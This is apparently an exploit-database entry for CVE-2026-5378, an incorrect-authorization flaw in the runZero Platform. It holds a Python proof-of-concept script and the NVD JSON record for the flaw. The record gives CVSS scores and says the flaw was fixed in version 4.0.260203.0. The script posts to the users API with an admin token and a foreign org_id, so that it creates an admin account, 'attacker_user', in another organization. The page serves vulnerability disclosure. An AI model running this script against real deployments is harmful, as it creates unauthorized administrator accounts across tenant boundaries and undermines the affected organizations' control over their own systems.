CVE-2026-5378

import requests # Exploit Title: runZero Platform Incorrect Authorization PoC # CVE: CVE-2026-5378 # Description: Create a user outside the authorized organization scope. target_url = "https://<runzero-host>/api/v1.0/users" admin_token = "<ADMIN_ACCESS_TOKEN>" # Headers with authentication headers = { "Authorization": f"Bearer {admin_token}", "Content-Type": "application/json" } # Payload attempting to create a user in a different organization (org_id) # The attacker's admin account belongs to Org A, but specifies Org B here. payload = { "name": "attacker_user", "email": "[email protected]", "role": "admin", "org_id": "<TARGET_ORG_ID_OUTSIDE_SCOPE>" # Vulnerable parameter } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 201: print("[+] Exploit successful! User created outside authorized scope.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Status Code: {response.status_code}")

{"cve": {"id": "CVE-2026-5378", "sourceIdentifier": "44488dab-36db-4358-99f9-bc116477f914", "published": "2026-04-07T15:17:47.763", "lastModified": "2026-04-21T15:31:45.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue that allowed administrators to create and update users outside of their authorized organization scope has been resolved. This is an instance of CWE-863: Incorrect Authorization, and has an estimated CVSS score of CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N (5.8 Medium). This issue was fixed in version 4.0.260203.0 of the runZero Platform."}], "metrics": {"cvssMetricV31": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "44488dab-36db-4358-99f9-bc116477f914", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:runzero:runzero_platform:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.260203.0", "matchCriteriaId": "E1543DB8-1DF4-40B2-B9D1-E1DE9BA10B22"}]}]}], "references": [{"url": "https://help.runzero.com/docs/release-notes/#402602030", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Release Notes"]}, {"url": "https://www.runzero.com/advisories/runzero-platform-user-creation-leak-cve-2026-5378/", "source": "44488dab-36db-4358-99f9-bc116477f914", "tags": ["Vendor Advisory"]}]}}